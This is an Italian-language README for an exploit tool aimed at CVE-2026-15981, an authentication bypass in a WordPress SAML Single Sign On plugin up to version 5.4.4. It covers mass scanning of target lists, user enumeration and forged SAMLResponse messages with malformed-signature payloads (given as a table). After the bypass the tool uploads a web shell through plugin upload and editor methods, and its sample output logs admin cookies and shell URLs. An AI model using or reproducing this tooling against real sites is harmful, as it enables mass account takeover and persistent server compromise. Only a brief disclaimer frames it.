
SAML Single Sign On <= 5.4.4 - Bypass dell'autenticazione senza autenticazione tramite il parametro SAMLResponse
SAML Single Sign On <= 5.4.4 - Bypass dell'autenticazione non autenticato tramite il parametro SAMLResponse
Exploit Proof-of-Concept
Firma malformata → openssl_verify() restituisce -1 → cast lasco PHP a true → wp_set_auth_cookie() come Amministratore
Il plugin SAML Single Sign On – SSO Login per WordPress è vulnerabile al Bypass dell'autenticazione in tutte le versioni fino alla 5.4.4 inclusa. Ciò è dovuto alla funzione mo_saml_validate_signature() che esegue un controllo booleano lasco sull'intero grezzo a tre stati restituito da openssl_verify() di PHP, facendo sì che un valore di errore pari a -1 venga valutato come truthy e quindi trattato come una verifica della firma riuscita.
Ciò consente ad attaccanti non autenticati di accedere come qualsiasi utente WordPress esistente, inclusi gli amministratori, inviando una SAMLResponse appositamente predisposta contenente un NameID controllato dall'attaccante e un valore di firma deliberatamente malformato che innesca un errore di elaborazione OpenSSL — bypassando completamente la verifica e portando alla chiamata di wp_set_auth_cookie() per l'account preso di mira.
Attacker sends crafted SAMLResponse
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ Returns 1 → valid signature ✓
├─ Returns 0 → invalid signature ✗
└─ Returns -1 → OpenSSL internal error
│
▼
PHP loose comparison: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← BUG: error treated as success
│
▼
wp_set_auth_cookie() called
│
▼
Attacker is now Administrator
La correzione è banale — if ($result === 1) invece di if ($result) — ma l'impatto della falla è il bypass totale dell'autenticazione.
?option=mosaml_metadata/wp-json/wp/v2/users)/?author=N)?option=saml_user_login ed estrae gli URL base IdPlxml</Issuer> secondo la specifica SAMLopenssl_verify() = -1Python >= 3.8
pip install requests lxml
lxmlè necessario per una corretta canonicalizzazione Exclusive C14N dell'asserzione SAML.
python CVE-2026-15981.py
Ti verrà chiesto di fornire:
| Richiesta | Descrizione | Predefinito |
|---|---|---|
| File dei target | Percorso di un file di testo con un target per riga | list.txt |
| Thread | Numero di worker concorrenti (1–100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
Un URL per riga. Se non viene specificato alcuno schema, viene utilizzato HTTP per impostazione predefinita.
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
Ogni target avanza attraverso 7 fasi etichettate:
============================================================
target.com
============================================================
[1] WordPress
confirmed
[2] SAML plugin
version: 5.4.4
miniOrange SAML detected
[3] SP metadata
metadata entityID: https://target.com/...
metadata ACS: https://target.com/
[4] Users
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 found: ['admin', 'editor', 'johndoe', 'target']
[5] Issuers
SSO redirect found
3 candidates
[6] Exploit
COOKIE! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin accessible
user=admin [email protected]
users.php -> Admin
[7] Shell upload
M1: plugin uploaded
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...
+==========================================================+
| ADMIN SESSION CONFIRMED |
+==========================================================+
| Target : https://target.com
| User : admin
| Issuer : https://idp.example.com/simplesaml/...
| Method : 0xFF*256/rsa-sha256
| Cookie : wordpress_logged_in_abc123=admin%7C1753...
| Shell : https://target.com/wp-content/plugins/nxproof/Nx.php
+==========================================================+
| File | Contenuto |
|---|---|
sms.txt | Una riga per sessione admin confermata — timestamp, target, utente, cookie, URL della shell, issuer, metodo di firma |
sms_debug.json | JSON diagnostico completo per ogni target — inclusi i conteggi dei tentativi e le classificazioni degli errori |
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256
============================================================
DONE - 142.3s
============================================================
ADMIN=3 miss=47 skip=100
results -> sms.txt debug -> sms_debug.json
============================================================
Target
│
├─ [1] WordPress Detection
│ └─ wp-login.php / wp-json / jQuery fingerprint
│
├─ [2] SAML Plugin Detection
│ ├─ readme.txt version check (≤ 5.4.4)
│ └─ SAML signature detection in HTML
│
├─ [3] SP Metadata Discovery
│ └─ ?option=mosaml_metadata → entityID + ACS URL
│
├─ [4] User Enumeration
│ ├─ REST API /wp/v2/users (bulk + per-ID)
│ ├─ Author archive redirect (/?author=N)
│ ├─ HTML body pattern matching
│ └─ Domain fallback + common admin names
│
├─ [5] IdP Issuer Discovery
│ ├─ ?option=saml_user_login redirect → IdP URL
│ └─ wp-login.php SAML link extraction
│
├─ [6] SAMLResponse Forgery & Delivery
│ │
│ │ For each (user × issuer × algorithm × signature × audience × SP ID):
│ │
│ ├─ Build SAML Assertion with attacker-controlled NameID
│ ├─ Canonicalize via Exclusive C14N (lxml)
│ ├─ Compute correct DigestValue for the Assertion
│ ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
│ ├─ Wrap in <samlp:Response>, Base64 encode
│ ├─ POST SAMLResponse to ACS URL
│ ├─ Check for wordpress_logged_in_* cookie
│ ├─ If cookie found → verify admin role via wp-admin
│ └─ Classify failure via diagnostic engine
│
└─ [7] Post-Exploitation (on admin session)
├─ M1: Plugin ZIP upload + activation
├─ M2: REST API plugin upload
├─ M3: Theme/Plugin editor file write
├─ M4: Media async upload
└─ Shell execution verification (Nx-zD signature)
L'exploit include 12+ payload di firma specificamente progettati per innescare openssl_verify() = -1:
Ciascuno viene combinato con gli URI degli algoritmi SHA-1 e SHA-256 e testato con/senza restrizione Audience, su più ID entità SP — massimizzando la probabilità di centrare il percorso di ritorno -1 su qualsiasi versione di OpenSSL.
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi di ricerca didattica. Usalo solo contro sistemi di tua proprietà o per i quali disponi di un'esplicita autorizzazione scritta ai test.
L'accesso non autorizzato a sistemi informatici è un reato. L'autore declina ogni responsabilità per usi impropri, danni o qualsiasi conseguenza legale derivante dall'uso di questo software. Sei l'unico responsabile di garantire la conformità a tutte le leggi e i regolamenti applicabili nella tua giurisdizione.
By: Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit
| Campo | Dettaglio |
|---|
| CVE ID | CVE-2026-15981 |
| Plugin interessato | miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress) |
| Versioni interessate | Tutte le versioni fino alla 5.4.4 inclusa |
| Tipo | Bypass dell'autenticazione non autenticato |
| CWE | CWE-287: Autenticazione impropria / CWE-305: Bypass dell'autenticazione tramite debolezza primaria |
| CVSS 3.1 | 9.8 CRITICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticazione | Non richiesta |
wordpress_logged_in_*/wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php/wp-admin/profile.phpplugin-install.php/wp-json/wp/v2/pluginsNx-zD nel corpo della risposta| Payload | Descrizione |
|---|
0xFF * 256 | 256 byte di 0xFF — padding PKCS#1 non valido |
0xFF * 384 | 384 byte per chiavi RSA-3072 |
0xFF * 512 | 512 byte per chiavi RSA-4096 |
0xFF * 128 | Buffer più corto per chiavi di dimensioni minori |
0xFF * 64 | Padding non valido minimale |
0x00 0x01 0xFF*254 | Sembra PKCS#1 v1.5 ma con struttura errata |
0x00 0x01 0xFF*126 | Struttura simile a PKCS#1 più corta |
null_2B | Due byte adiacenti null |
rand_3B / rand_7B | Byte casuali — innescano errori di parsing |
asn1_bad | Sequenza ASN.1 DER malformata |
ff_1B | Singolo byte 0xFF |